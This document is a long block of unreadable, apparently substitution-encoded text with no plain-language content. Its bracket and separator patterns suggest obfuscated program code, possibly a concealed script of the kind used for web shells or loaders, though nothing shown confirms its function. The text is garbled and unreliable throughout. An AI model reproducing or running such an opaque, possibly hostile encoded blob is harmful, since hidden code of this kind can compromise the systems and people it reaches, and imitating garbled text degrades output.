LMD **YUUQMFD\NUUUUUUUU5 UUQLMD **NQ* BHMMENQEDADGLDHQ* BPD@NUUUUUUUUE F]QLMD **\NUUUUZZU UUUUUUUUUUUUU]!UUUUUUQD@D*G\UUUUUUUUUUUAAMGG*  ]CLG]DEEF\YUQD@D*G\NUUUUUUUU]0UUQD@D*G\UUUUUUZZU"%U7 U7OUUUUUUUU]TCLG]LAA\]CLG]DEEA\\\UQECE**HFE^MENQGLDBHQECE**XGAN UUUUUEAMDB]Q* YUQDAFDC@G\UUUUUUUUU]TUUMAL]DEE@\]Q* \\UZZU5UXUUUU UUQ* NUUUUUUUUUUQ@UHUU]F]DEEC\YUUUUUCLG]DEEB\YUUF]DEEM\YUUMAL]DEEL\YUUUUUUMAL]CFE\\NUUUUUUU]Q@UUUUUUUQ\UZZUUUUUUUUUUUU]TUUU]Q* .Q(\UUUU		UUUUTUU*F]DEE@\]Q* .Q(\\UUU NUUQF*UUHUUUU]\NUUUU]Q* .Q(UUUUUUQAFM*C@A\UUUUUUUUUUUU]TUF]DEDE\]QAFM*C@A\\UUUUZZU8&$9U?&:;UUUU QF*.(UUHUQAFM*C@AN NUUUUQECMEDUUUHUUUUU]QAFM*C@A.*F]DEDD\(\UJUQAFM*C@A.F]DEDD\(UUOUWWNQ   AUUUHUU]Q29:749&.CLG]DEDG\(\UUJUQ29:749&.F]DEDG\(UUOUWWNUUUU]QECMEDUUUHHHUQDAFDC@GU		UU]Q   AUUUUUTHHUUUUWWUUUSSUQECMEDUUHHHUUUUQ   A\\UUUUUU NUUUUQF*.(UUHUUUEAMDB]QAFM*C@AYUUQDAFDC@G\NUUUUUQ* .Q(UUHUQF*NQ GGMH@F_GNQFCEM HQ GGMXFANUUUUUU UQ* N UF@ AM]\UUUUUZZUUUUU]F]LAA\]*F]MBA\\UUUUSSUUUUU*]CLG]BMG\\\UUUUUUUUU NUUUUUUQ@G@UHUUUU5MAL]GGF\]DCLLEEFE]\\NUUUU]Q@G@UUSSUUQ@G@UUUKU]M@B@XF@B@\UUUSSUUUQ@G@UIUUUU]ALLLLCM^FG\UUUSSUTDFMCGD@]DCLLEEFE]\\\UUUUUUUUQAGFUUHUUUUU5CLG]LGC\]DCLLEEFE]\\NUUU]CLG]MMB\]QAGF\UUSSUF]DEDF\]QAGF\UUUHHHUUUQ@G@UUUSSUU@LE*B ]QAGF\\UUUU] FAF@D]DCLLEEFE]\YUUUFD @]QAGF\\\UUUUUULAAADF]DCLLEEFE]\\NUUELAAL*]DCLLEEFE]\\NUUUUUUUUUUUU ]QAGF\NUUUUUUUUUUQ@@E@UUUHUUU5*F]GGF\]DCLLEEFE]\\NUQG*GUHUUQ@@E@UUSSUQ@@E@UUUKUU]ALMB^DF\NUUUU]QG*GUUSSUUUQ@@E@UUKU]@GAGMBEG^LM\\UUUUQG*GUHUUUNUUUUUUUUUUUUUU]QG*G\UUUUQDGGMMUUUUUUHUU5F]LGC\]DCLLEEFE]\\NUUUUU]*F]MMB\]QDGGMM\UUUUSSUUUF]DEDF\]QDGGMM\UKUU]LBGBAM^B@MGM\\UUUQDGGMMUUUHUU*MB @AB]QDGGMM\NUUU]TMAL]DEDA\]QDGGMM\UUU		UUUUT@LE*B ]QDGGMM\\UUUUUUUUUQG*GUHUNUUUUUUUUUUUUUUUUQFCEUHUUU GLAF F**]*F]DED@\YUUWW\NUUUUUUQ*A @UUUUUHUUUD@CDL]QDGGMM\NUUUQDUHUUD@CDL]CLG]DEDA\]QFCE\UUUUJUUQFCEUUOUUUUWW\NUUUUUUUUU]Q*A @UUUUTHHUUWWUUUSSU]QDUUUUHHHUUUWWU		UUUU*]QDYUQ*A @YURIR\\\UUUUUUUUQF CUUUHUF]MMG\]QDGGMM\NUUUUUQC EMUUHU5MAL]DEDC\]MAL]MCF\]DCLLEEFE]\\UUU[UUF]DM@\UUU[UQF C\NUUUUUUUU]TQC EM\UUUUQ*FDLMUUHUUUU*]*F]DML\\NUUU]F]DEDA\]Q*FDLM\UUUUUUSSUUUUMAL]LBE\]Q*FDLMYUUUQF CUU[UUR	R\UUHHHUUUUEUSSUUUUUCLG]M@B\]\UXUU]\UUMAL]DEDB\]Q*FDLMYUUMAL]LBE\]Q*FDLMYUR	R\UUUUUU^UD\UUIUU]EDFA^EDFFF\\UUQC EMUUUUUUHUU NUUU]QC EM\UUUUQG*GUUUUUHUNUUUU]TQC EMUUSSUUUUUF]DEDA\]QFCE\UUUUSSUU]QFCEUUUUHHHUUUWWUU		UUQDUHHHUUWWU		UUU*]QDYUUUQ*A @YUUURIR\\\UUUU*GCGG]CLG]DED@\YUUQDGGMMYUUMAL]MLM\\NU ]QF CYUUUUUQC EMYUUQ*FDLM\NUU]MAL]DEDA\]QFCE\USSUUUMAL]DEDF\]QFCE\UKUU]AM@^D@\UUUUSSUCLG]DEDF\]QFCE\UIHUU]DEAM@B@^D\UUUUUSSUTDGD@@LCD]QFCE\UUSSUUUU@LE*B ]QFCE\USSUUMAL]MMG\]QDGGMM\UTHHUMAL]DEDM\]QFCE\\UUZZUXUXXUXXQG*GUUUUHUUUUNUUUUUUUUUUUUUUUUU]QG*G\UZZU<UOUUUU]MAL]DEDL\]MAL]BMD\\\UUUUUUUU*]CLG]DEGE\YUUDYU]EFEM^EEM\\NUUUUUUUUU NUUUUU]DFMCGD@]DCLLEEFE]\\\UUUUUUUUU NUUQE@G UUUUHUMAL]MCF\]DCLLEEFE]\\NUUUUU]TU5MAL]MBB\]QE@G \\UUUZZU5XUXUUUUUU*DAA]QE@G YUUUUUU]@EDXM\YU \NUUUUUUQLLFUHUU GLAF F**]F]DEGD\YUUWW\NUUU]TQLLFU		UUUUUTMAL]DEDA\]QLLF\\UUUUUUUUU]T*]*F]DEGG\\\UUUUUUAAMGG*  ]MAL]DEGF\YUU*F]DEGA\\NUU*]*F]DEGG\YUUUUUUDYUU]DFGE^GGME\\NUUUUUUUUUU]QLLFUUSSUUUF]DEDA\]QLLF\USSUU*F]DEDF\]QLLF\UKU]ACB^FF\UUUUUSSUUCLG]DEDF\]QLLF\UIHUU]DEAMALA^MG\UUUUSSUUUTDGD@@LCD]QLLF\UUSSUUU@LE*B ]QLLF\\UUUUQUUHUD@CDL]QLLF\NUUU]QUTHHUUUUUWWUUUUSSUU*]QYUMCCFB]\YUUUUURIR\\UUUUUU NQHBE	LNQCHQ+GELNQ@@UUUUUHUUUCLG]MCF\]DCLLEEFE]\\UU[UUUUCLG]BLF\UUUU[UF]LCD\]DCLLEEFE]\YUUMAL]LMM\\NQ@ADCUHU5CLG]DEDC\]Q@@\UJUUU*F]DEG@\]]\UUU5F]LGC\]Q@@\\UOUWWNU]Q@ADCUUTHHUUWWUUUUUSSU*F]DEDM\]QLLF\UUHHHUUQ@ADC\UUUUUUUUUUUU NF* ]DCLLEEFE]\YUU]FAB^BF\\NUQLAM@AUHU FAF@D]DCLLEEFE]\YUUUUFD @]QLLF\\NUUUU]QLAM@A\UUUUUUULAAADF]DCLLEEFE]\\NUF* ]DCLLEEFE]\YUUU]FCAXBG\\NELAAL*]DCLLEEFE]\\NUUGDG] \NFDG] \NUUUUM M]DCLLEEFE]\\NUU]*F]DEDL\]MAL]BMD\\\UUUUUUU*]CLG]DEGE\YUDYUUU]E@^EMCG\\NUUUUUUUUUUU]F]DEDL\]*F]BMD\\\UUUUU*]CLG]DEGC\YUDYU]DBGD^BL\\NUUUUUUUUUUUUU]!UUUQD@D*G\UUAAMGG*  ]CLG]DEGF\YUQD@D*G\NUUUUU]0UUUQD@D*G\UUUUUUUUUUUUU U*@* E]\UZZU%=%U UUUUUUF*E@LBM@]F]DEGB\YUF]DEGM\\NF*E@LBM@]F]DEGL\YUUUCLG]DEGM\\NUUU]MAL]DEDL\]F]DEFE\\\UUUUUU*]CLG]DEFD\YUUUUUF]DEFG\\NUU*]*F]DEFF\YUUUU*F]DEFG\YUU]B^F\\N*]CLG]DEFA\YUUMAL]DEF@\YUU]@^@\\NUUUZZU"%U7U#UUUUUUUUU UUUUU*FL B@A]\UUUUUUUZZUUQUUHUUQ29:749&.*F]DEFC\(NUUUUUUUQFUUUHUUUUQXKUUUU[UMAL]DEFB\NUUUUUQB*CGCGUUUUUUHUR&RUU[UUUF]DEFM\UUU[UQXK UUUU[UUUUF]DEFL\U[UQXK UU[UUUCLG]DEAE\NU UUUQXK* ]QXK]QB*CGCGYUUUQFYUMAL]DEAD\\\NUUUUUUU]!UUUUQD@D*G\UUUUUAAMGG*  ]CLG]CBG\YUUQD@D*G\NUUUUUUUUUUUUU]0UQD@D*G\UUUUUUUUUUUU UUUU]\NQ*L@DFHD@L	GEANQCM FHQ*L@DF+CBNUUUU U* A EC]QBM*D@\UUQAG@AUUHU]\NUUUUUQGLEB@UUUHU UU]Q @LD@E\UUZZU UXUXXUUUUUUUQ @LD@E.MAL]DEAG\(UUHUUWWNUUUUUU UUUQ @LD@ENZZUU NUUUUUUUUUUU]TUMAL]DEDL\]CLG]DEAF\\U		UUTUUMAL]CEL\]CLG]DEAA\\\UUZZU%=%UUOUUUUUU UQAG@ANUUUUUUU]TUCLG]DEA@\]QBM*D@\UUU		UUUUU]QBM*D@\\UUUUUUUUU UUUQAG@ANUUUUUQ A*C*FUHUUUF]DEAC\]\UUUUU^UU]M@+LD\UU_UUU]MCFLG^M\NUUQ*UUHUUU*F]DEDL\]CLG]@AG\\UUUUSSUU*]\NUQ GEUUUUHUQ*UUUUUUJUUUCLG]DEAB\UUOUMAL]DEAM\NUQMMLG@AUUUUHUUUQ*UUUUUJUU]]F]DEAL\\UUUJUUUU&06 '0*4 !=*6::><0UOUUUWW\UUUOU]]*F]DE@E\\UUUUUJU4 !=*6::><0UOUWW\NUUUUQ@A UHUUUU]*F]DE@D\\UJUUUUU9:2201*<;*6::><0UUOUUWWNUUUUUUUUU]TUQMMLG@AUU		UUTUUUUUQ@A \UUUUUUUUUU UUUQAG@ANUUUUQCL@CUUHUUU]MAL]DE@G\\USSUU6::><0*1:84<;UUJUF]M\]6::><0*1:84<;YUUR[R\UUOUUUE]WW\NQLDFUUHUUU]MAL]DE@F\\UUUJUUUU6::><0%4!=UUOURZRNUQ @GMUUHU]MAL]DE@A\\UUJU418<;*6::><0*%4!=UUUUUOUCLG]DE@@\NQL *UUHUUQ*UUJUCLG]DE@C\UOUUUCLG]DE@B\NUQGUHUW)WNUUF*E@LBM@]MAL]DE@M\YUUQGLEB@YUUUUE\NQ GDUUUUHUUUU@G*A  CF]*F]DE@L\\NQMLBGGUHUUCLG]DECE\]MAL]DECD\\UJUU5*]Q GDYUUUU]\\UOUUU]\NUUUUUUU]TMAL]DEA@\]QMLBGG\\UUQMLBGGUUUUHUUU]\NQ CG CUHUUUUNUUUQMGBUHUUUUUENU]QBM*D@UUUUUUQ@BF\UUUUUUU]TUUF]LM\]Q@BF\U		UUUUTUUUQ@BFXK<1UUUU		UTUUUQ@BFXK *\UUUUU NUUUUUU]QMGBUKHUU]G^D\\UUUUUUNUUUUUUUUQMUHUUUUU]\UQ@BFXK *NQFEBHDLC	DGGNQFF*HQFEB+DMNUU]]QMLBGG.QM(\UUUSSUUUUU]\UUQMLBGG.QM(UKUF]DEAC\]\UUUU^UUGU_UUUU]DAMF@^BD@C@\\UUUUUUUU NUUU**]Q@BFXK<1YUUUUCLG]DECG\\NUQECCBD*DUHUUU* *]Q@BFXK<1YUUCLG]DECF\YUU \NUUUUUUU]F]DEA@\]QECCBD*D\USSUUMAL]DECA\]QECCBD*D\UUUKHUU]L^D\\UUUUUUQCGLCMLUUUUHU]\NUU]QECCBD*DUUUUUQGUUHKUUUQLA\UUUUU]]QLA.F]DEC@\(\UUUSSUUUQLA.MAL]DEC@\(UUUUUKU*F]DEAC\]\\UUUUUQCGLCML.QG(UUHUUUQLANUUUUUUUUUU]F]DECC\]QCGLCML\UTHHUF]DECC\]QECCBD*D\\UUUUUU * *]Q@BFXK<1YU*F]DECF\YUUUQCGLCML\NUUUU**]Q@BFXK<1YUUUU*F]DECG\\NUUQCUUUUHUUF]FF@\]]MAL]DEAA\YUUF]DECB\\YUUUUQ@BFXK<1\NUUUUUUQ*CBUHUUQCXK]Q A*C*F\NUUUUQMEUUHUU]\NQME.(UUUUUHUQCL@CU[UUQGUU[UUMAL]DE@C\UUU[UUQGUUUUUU[UUQLDFU[UUUQGUU[UQL *UUU[UUUQGUU[UUQ A*C*FUU[UUUUUQGU[UQ@A UU[UUQGUU[UUMAL]DEAF\]Q@BFXK<1YUUUUUQ A*C*FYUUUUCLG]DECM\YUQ*CB\NUUUUUUUUUU]QMMLG@A\UUUUQME.(UUUUUHUUUUQCL@CUUU[UQGUU[UMAL]DECL\UUUUU[UUQGU[UUUUUUQ @GMUUU[UQGU[UQL *UU[UUUUQGU[UUQ A*C*FUUU[UUQGU[UUUUQMMLG@AUUU[UUQGUU[UUU*F]DEBE\]Q@BFXK<1YUQ A*C*FYUUQ GEYUQ*CB\NUUUUQAG@A.Q@BFXK *(UUHUQMENQMLBGG.QM(UUHUQ A*C*FNQAE*LMHDB_MNQLC*BECD@MHQAE*LMXFNUQ CG CUUUHUUUUUU NUQMGB^^NUZZUUUUUUUU]Q CG CUUUSSUCLG]DECE\]CLG]MMM\\\UUU5 *]Q GDYUUUUQMLBGGYUUUCLG]MLM\\NUUUU]!UUQD@D*G\UAAMGG*  ]*F]DEBD\YUUUQD@D*G\NUUUU]0UUQD@D*G\UUUUUU*]MAL]DEBG\YUUQGLEB@YUUE\NUUU UUUQAG@ANUUU UUU*FB MGDA]QM*E\UUUUUUUUUU]MAL]DEDA\]QM*E\\UUUUU UUUUQM*ENUUU]CLG]DEBF\]QM*E\UUSSUUU]QM*E.RR(\UUSSUUMAL]DEDA\]QM*E.RR(\\UUUU UUUUQM*E.RR(NUU UUWWNUUUUUU UA **A*LE@B]QBM*D@\UUUUUQUHUUU]\NUQ*LUUUUUHUU]\UUUUUU GLAF F**]CLG]DEBA\YUUWW\NUUUQC@LUUHUUU]\UUUUUU GLAF F**]MAL]DEB@\YUUUUWW\NUUUUUU]Q*LUTHHUUUWWUSSUUUUUQC@LUTHHUUUUUUWW\UUUUUUQ.Q*L(UHUUUQC@LNUUUUUQ@GEDG AUUUUUHUUUU GLAF F**]MAL]CDL\YU]\\NUUUUUU]MAL]DEBF\]Q@GEDG A\\UUUUUUU]Q@GEDG AUUQMGUUUHKUUUUQGAA\UUUUUUUUUQFFGBDUUUHUUUUUU*FB MGDA]QGAA\NUUUU]QFFGBDUUTHHUUWW\UUUUUQ.]\UUUUUQMG(UUUUUHUUUUUQFFGBDNUUUUUUUUUUUUUU UQNUU UU FDDB]QMGYUUUQ@CALYUUUUUUQDMC\UUUUUUUUUUUU]TUUUF]DEBC\]QMG\U		UUTUUUUCLG]LL\]QMGYUUUCLG]DEBB\\\U UQMGNUUUUUUU]TUUQMGXK*]F]DEBM\\\UUUUU UUQMGNUUUUUUU]TUCLG]DEDA\]QDMC\U		UUTUUQDMC\UUUZZU8&$9UMU6!0OU UUUUU UUUUQMGNUQ@GEDG AUHU GLAF F**]*F]DEBL\YUU]\\NUUUUUU]TUF]DEBF\]Q@GEDG A\\UUUQ@GEDG AUUUHUUU]\NUUUUU]Q@GEDG AUUUUUQ**C@FUUHKUUQDFML\UUUQDAL *LUHUUCLG]DEBF\]QDFML\UUUUUSSUU]QDFML.MAL]DEME\(\UUUUUUJU]\UUUQDFML.F]DEME\(UUUOUUUUUENUUUUU]QDAL *LUUSSUUQDAL *LUUUUIUUCLG]DEMD\]\UUUXUUUUU]G@EFGMD^@GBGBDL\\U ]Q@GEDG A.Q**C@F(\NUUUUUUUQ@GEDG A.QMGXK *(UHU]RRUUHKUQDMCYUUU*F]DEME\UUUUUHKUUUCLG]DEMD\]\YUUUUMAL]CGE\UHKUUUE\NUU*GCGG]F]DEBL\YUQ@GEDG AYUUUMAL]DEMG\\NUUUUUUU]!UQD@D*G\UUUAAMGG*  ]*F]DEMF\YUUUQD@D*G\NUUUUUUUUUU]0UQD@D*G\UUUUUUUUUU UUQMGNUU UUDCAG]Q ELD@YUUQMG\UUUUUUUU]T*F]DEDA\]Q ELD@\U		UUQ ELD@UUHHHUUUWW\U NUUUQ@GEDG AUUHUU GLAF F**]*F]DEBL\YU]\\NUUUU]TCLG]DEMA\]Q@GEDG A\UUU		UT]Q@GEDG A.Q ELD@(\\UUUU NUUQD@D*GUUHUUUQ@GEDG A.Q ELD@(NUUUUUUUUUUU]CLG]DEM@\]QD@D*G\USSUUU]QD@D*G.*F]CGE\(\\UUUQLLH]EL^E@\NQEFMHQLLPLNUUUQ@GEDG A.Q ELD@(.CLG]CGE\(UUHUUUDNQ FFGFHDA^FENQ BLLCHQ FFGFXBNU*GCGG]*F]DEBL\YUQ@GEDG AYU*F]DEMG\\NUUUUUU]!UUUQMEL\UUUAAMGG*  ]F]DEMC\YUQMEL\NUUUUUUU]0UQMEL\UUUUUUUUUUUUU UUG@* C*]QBM*D@\Q*B BHDB@	GFBNQFGBHQ*B B+BDNUUU]TUUU*F]DEM@\]QBM*D@\\UZZUUXUUUU UNUUUUUUQ AUUUHULGCD]\NUU]QBM*D@UUUUUUUUQ@BF\UUUUUUU]Q AUUUUUUQCG *\UUUU]*F]MEC\]F]DEMB\UU[UUF]DEMM\]QCG *YURZR\UUUU[U*F]DEML\YUUQ@BFXK *\\UUUZ_UUXU_Z UUQ@BFNUUUUUUUUU UNUUU UL ]QD B@YUUQACGM\UUUUU UMAL]DELE\]F]DEDM\]QD B@\YUUEYUUQACGM\NUUU UUUUUMFE]QG*MGD@C\UUUU]T*F]DEDA\]QG*MGD@C\UUUU		UUQG*MGD@CUUUHHHUWWUU		UUUUT]CLG]LCC\\\UUUU UUUNUUUUUQ*CUUUUUHUUUUU NUUUUU]Q*CUUHHHU \UZZU"%U%U7OUU QAGBH%=%*84?:'*#0'&<:;NQM@GHQAGB_GNUUQ*CUUUHU]UL ]47&%4!=U[UMAL]DELD\YUU]@^F\\UUU[UUUUUU*F]LMM\YUUUL ]47&%4!=UU[U*F]DELG\YUUU]D^B\\UUU[UUUUUUF]LMM\Y\NUUUU]Q*CUUUUUUQ E\UUUUQAB@  HMD_GNQG*HQAB@  XANUUUUU]MAL]LBE\]QG*MGD@CYUQ E\UTHHUUUUU\U UUUUU NUUUU UUNUUUU UADCEBGED]QACGM\UUUQEEHFL_BNQEMACFHQEEXFENU UUL ] ]]\UUUF]AAE\]\YUUU \YUUQACGM\NUUUUUUUUUU UUUU*MLLC]QEMEM\U]TCLG]DECE\]*F]DECD\\\U UUUUUNUUQCBA@UUHUU*]*F]DELF\YUU]\\NQFHDB@@NQMGGHQFPDGNU]TCLG]DEM@\]QCBA@\\U UUUUUNUQ *GM@CGD@UHUU*F]DEDM\]QEMEM\NUU]]QCBA@.Q *GM@CGD@(\\UU UUUNUUUUUUUQFFGBDUUHUUUMAL]GGE\]R	RYUUUU]\UUQCBA@.Q *GM@CGD@(\NUUUUUUQLBUUHUU]QFFGBD.D(\UUJUUU]\UUUUQFFGBD.D(UUUOUUENQ@F HCB^@CNQ LECMACHQ@F XAANUU UUUU]QLBUUKUEUUUUUSSUCLG]DELA\]\UUUXUUQLBUIUUU]EF^ECA\\NUUUUU UMMBAGE@F]QEMEMYUUUUQLB@GEFBE\UUUUUU]TMAL]DECE\]MAL]DECD\\UUUU		UUUUUT*F]DEL@\]MAL]DELC\\\U NUUUUUUUQCBA@UUUHUU*]F]DELF\YUU]\\NUUUUUUUU]TMAL]DEM@\]QCBA@\\UUUUQCBA@UUUHUU]\NUQ *GM@CGD@UUUHUMAL]DEDM\]QEMEM\NU]TQLB@GEFBE\UUUUUUUU]]QCBA@.Q *GM@CGD@(\\UU ]QCBA@.Q *GM@CGD@(\N *]CLG]DELF\YUUUUQCBA@\NUUUUUUUU NUUUUUUQEGED UUUHUENUUUUUUU]T]QCBA@.Q *GM@CGD@(\\UUUUQFFGBDUUHUUUMAL]GGE\]R	RYU]\UUUQCBA@.Q *GM@CGD@(\NUUUUUQEGED UHUUUU]\UQFFGBD.E(NUUUQEGED ^^NUUUUUQLBUUHUUUU]QEGED UUUKHU]CXF\\UUJUU*F]DELA\]\UUUOUUUENUU]QCBA@UUUUUUQALL@*MUHKUUQCDM\UUUUUUUUQG*MGD@CUUHUUCLG]GGE\]R	RYUUU]\UUUUQCDM\NUUUU]T]QG*MGD@C.D(\USSUUF]DELB\]\UUUXU]\UQG*MGD@C.D(UUKUU]EGGL^EGMEEB\\UU ]QCBA@.QALL@*M(\NUUUUUUQCBA@.Q *GM@CGD@(UUUHUQEGED UUUU[UR	RU[UQLBN *]*F]DELF\YUQCBA@\NUUUUUUUU UUUULCD M F]QEMEMYUUUQ @ M\UUUUUUU]TMAL]DELM\]Q @ M\\U NUQ**EA UUUUHUU*CCF A*DCEC]CLG]DELL\]QEMEM\YUUMAL]DDEE\\NUUUUUUUUUUU]Q**EA UUTHHUUU\UUUUUUUUUUUU]5*F]DDED\]Q**EA YUUUUUQ @ M\UUUUUHHHU*F]DEDF\]Q @ M\USSUUB@E *G]Q**EA YUUUQEMEM\\UUUU NUUE F]Q**EA \NUUUUU5F]DDED\]QEMEMYUUUUUUQ @ M\NUUUUUUUU UU FAF@D]QEMEMYUQE@*\UUQBD EUHUUMAL]DELL\]QEMEM\NUU]T5F]MBB\]QBD E\\UUUUUUUAAMGG*  ]*F]DDEG\YUU*F]DDEF\UU[UUUF]DDEA\]QEMEM\\NU UNUUUQ BG CLEUUUUUUHU]CLG]DELE\]QEMEMYUUX]EF^ED\\UUUUHHHUUUUUU*F]LMM\\NUUU]Q BG CLEUUUUSSUT@LE*B ]QE@*\\UUUAAMGG*  ]*F]DDEG\YUUUF]DDE@\UU[UUMAL]DDEA\]QEMEM\\NUUUU UUUUNUUUUUUU]Q BG CLEUUUSSUUUUU*MLLC]QEMEM\\UU UUNQFG**CUUUUUHUUUNUUUU]5*F]MBC\]QEMEM\\UUUUQFG**CUUUUHUU NUUUUUQ @ MUHUU NQBC@H%=%*<;!*84-Z%=%*<;!*84-NQCHQBC@^GFNUUUUUUUQABEUUHUUUUNUQLC@BL UHU NUUUUU]5MAL]DDEC\]QEMEM\UUSSUUUUT5MAL]MBC\]QEMEM\\UUUUUUUQABEUUUHUU NUUUUQLC@BL UUHUU5]QEMEM\NUUUU]QLC@BL UUUUHHHU\UUUUQLC@BL UUUUHUUUU NUUUU]5*F]GGF\]QEMEM\UUIHUUUU]EGMLDDD^ELEC\\UQ @ MUUUUHU5CLG]LGC\]QEMEM\NUUUUUU]TCLG]DEL@\]CLG]GC\\\UUUAAMGG*  ]F]DDEG\YU*F]DDEB\U[UF]DDEA\]QEMEM\\NUUUUU UUUUNUUUUUUUUQCUUHUUUUNUQCUUUHUNUUUQ*UUHUUUF]DDEM\]QE@*\NUUUUU]QCEUUHUUUENUUUUUUQCEUUIUGNUUQCE^^\UUUQCUUUHUU*CCF A*DCEC]QBD EYUF]DDEL\\NUU]QCUUTHHUU\UUUQCUUUHUNUUQG*MGD@CUUUUHUUUU5*F]DEA\]QCYUUUMAL]DDDE\\NUUUUUU]QG*MGD@CUUTHHU\UUUQFAL*UHUENUUUUUUUUU]QFAL*UIUUQ*\UUUUQ*AFDEUHUU5F]DDDD\]QG*MGD@CYUF]DDDG\]QE@*YUUUQFAL*\\NUUU]Q*AFDEUUUHHHUUUUU		UQ*AFDEUUUUHHHUUE\UNUUUQFAL*U^HUQ*AFDENUUU5 ]QG*MGD@C\NZZU5UQM@@HMB	DFCNQMHQM@@+CLNUUU]*F]DDDF\]MAL]DDDA\\\UUUU5]QG*MGD@C\NQLFHXLCNQ AAH]QLFKE\JQLFOXQLFNUU5]QG*MGD@C\NUUUU]QFAL*UHHHUUUUQ*\UUQCUHUUQFAL*NUUUUUUUUUQCUUUHU5F]DDD@\]QCYUUUUUUQE@*\NUUUUUZZUUUUU]QCUUUTHHUUUUUSSUUUUQCUUUUHHHUUQ*\UUNUUUUE F]QC\NUUUQCUUUUUHUUUNUUUUUUUUUUUU]QCUUUHHHUUU\UUAAMGG*  ]CLG]DDEG\YUUUF]DDDC\UU[UCLG]DDEA\]QEMEM\\N UNUUUU]QCUUUHHHUU		UUQCUTHHUUUQ*\UUUUUAAMGG*  ]*F]DDEG\YUMAL]DDDB\U[UCLG]DDEA\]QEMEM\\NE F]QC\N UUUUNUUUUU]QLC@BL UUTHHUUUUUU \UUU5MAL]DCA\]QCYUUQLC@BL UUUUSUUUUUU]ALM^DF\\NUQ BGLUUUUHUUB@E *G]QCYUUUUUQEMEM\NUUUUUU]TQ BGLUSSUUUQABEUUUUUSSUUUTQFG**C\UUUUUUU]5CLG]DDEC\]QEMEM\\UF* ]QEMEMYUU]FLA^GC\\NUQMML*UUUUHUQEMEMU[U*F]DDDM\UUUU[UU*F]AAE\]]EDBD^EGBB\YU]DGBM^MBGD\\NUUUUU]B@E *G]QEMEMYUUUUQMML*\\UUUUUUUUQ BGLUUHUUB@E *G]QCYUQEMEM\NUUU]Q BGL\UUUE F]QMML*\NUUUUUUUZZUUUUUUUUU]TB@E *G]QMML*YUUQEMEM\USSUUUUUT BCE]QMML*YUUUUQEMEM\\UUUUUULCD M F]QEMEMYUQ @ M\NUUUUZZU%&'XD@UOUXUXUUUUUUU]T5*F]DDEC\]QEMEM\\UUUUUUUUULCD M F]QEMEMYUUQ @ M\NUUUUUUUUUUUU]TQ BGLUUSSUUTQFG**CUSSUUUTQ BG CLE\UUUU]5CLG]DDEC\]QEMEM\\UUUUUF* ]QEMEMYUU]FML^FD\\NUU] BCE]QCYUUUUUQEMEM\\UUUUQ BGLUHUUUU NE F]QC\NQ*ELFEHXFDCNQA*H]Q*ELFEKE\JQ*ELFEOXQ*ELFENUUUUUUUUU]TQ BGL\UUUUUUUUUUU]5CLG]DDEC\]QEMEM\UUSSUU]\U5MAL]GGF\]QEMEM\UTHHUUUQ*\UUUUQLDCBHM^ABNQMBHQLDCBXFMNUUUUUQ@F@*GUHU5MAL]DDDL\]QEMEM\NUUUUUUUUUUU]T*F]DDGE\]Q@F@*G\U		UU]F]DDGD\]Q @ M\USSUUUQ@F@*GUUTHHUUUQ @ M\\UUUUUUU]CLG]DDGG\]Q @ M\\ULCD M F]QEMEMYUQ @ M\NUU]TQABE\UE F]QEMEM\NZZU"%U&U9UUUUUUUUUUU ]Q@F@*G\NUUUUUUUUUU]T5F]DDEC\]QEMEM\\UULCD M F]QEMEMYUQ @ M\NAAMGG*  ]CLG]DDGF\YUUMAL]DDGA\UUU[UUUUMAL]DDEA\]QEMEM\\NE F]QC\NU UUNUUUU5] YUQEMEM\NUUQAGB UUUUHUUNUUUU]Q*UIHU]GELBEME^BG\\UQB@DFLUUHU5*F]DDG@\]QEMEM\NUUUUUUUUUUQAGB UUHUUUU]*F]DDGG\]QB@DFL\UUUUSSUU*F]DDEM\]QB@DFL\UUUUHHHUUUUQ*USSUUUUUUCLG]DDGC\]QB@DFL\UHHHU*F]DDGC\]QE@*\\NUUUQ@GCBEL DUUUUHUUF]DDGB\]*F]DDGM\\UUUJUU5*]F]DDGC\YUQEMEM\UUUUOUUUUNUU]F]DDGL\]Q@GCBEL D\USSUUQ@GCBEL DUUTHHUUUWW\UQAGB UUUUHUU]Q@GCBEL DUUHHHUUUUCLG]DDGC\]QE@*\\NUUUUUUUUUUZZUUUUQD MUUUUUUHUUUUUU5F]GGF\]QEMEM\NUU]QD MUUHHHUUUUUQ*\UUUUUUUUUUUQMD BUUHUU5F]DDG@\]QEMEMYUUUUUYU YUUEYUUU]AEB@^GD\\NUUQ*UHUUUU5*F]DDG@\]QEMEMYUUUUUYUUU YUUQ*UXUU]BEEFXGLEB\\NUQAGB UUHU]*F]DDFE\]QMD B\UUUSSUUMAL]DDFE\]Q*\UUSSUUQMD BUUUHHHUUUCLG]DDDG\]QE@*YUUEYU]EAG^ED\\UUSSUUQ*UUHHHUUMAL]DDFD\]QE@*YUQ*UXU]GELG^GEEA\\\NUUUUUUUUU]TQAGB \UAAMGG*  ]CLG]DDGF\YUF]DDFG\UU[UUMAL]DDEA\]QEMEM\\NUUUUU]Q BG CLE\UUMMBAGE@F]QEMEMYUUUU \NUUUUUUUU]MAL]DDFF\]Q @ M\\UUUUUQLFFUHUF]DDGB\]*F]DDFA\\UUUUUJU5*]MAL]DDGC\YUUUQEMEM\UOUNUUUUUU]F]DDFF\]QLFF\UUSSUQLFFUUUUTHHUUWWUSSUUUQLFFUTHHUU*F]DDGC\]QE@*\UUSSUQLFFUUUTHHUUUUF]DDGC\]Q @ M\\UUUAAMGG*  ]*F]DDGF\YUUU*F]DDF@\U[UUUF]DDFC\]QEMEM\\NU UNUUUUQACC DUUUUUHUUUUUU*CCF A*DCEC]QBD EYUUUMAL]DDEL\\NUUUUUUU]QACC DUTHHUUUSSUU5CLG]DDD@\]QACC DYUUQ @ M\UUUUHHHUUUUF]DDEM\]Q @ M\\UUUUUUUUUUUUUU]TB@E *G]QACC DYUQEMEM\\UUU]5F]DDEC\]QEMEM\UUSSUUUUTQFG**C\UUUUUF* ]QEMEMYU]DCL^G@D\\NUU]TQFG**CUUUUUSSUU BCE]QACC DYUUUUUUQEMEM\\UE F]QACC D\NUUUUUUUUUUUUUU5F]DDD@\]QEMEMYUUQ @ M\NUUUE F]QACC D\NUUUUUUUUUUUU]QACC DUTHHU\UUUUUUE F]QACC D\NUUUU5*F]DDFB\]QEMEMYUUQ @ M\NUUM M]QEMEM\NUUUUUUUU]TQABE\UUUE F]QEMEM\NUUUUUUUUUUUUU UNUUUUUUUUUUM M]QEMEM\NLAAADF]QEMEM\NUUUUUF* ]QEMEMYU]EDCA^EAE\\NUUUUUUUUU]Q BG CLE\UUUMMBAGE@F]QE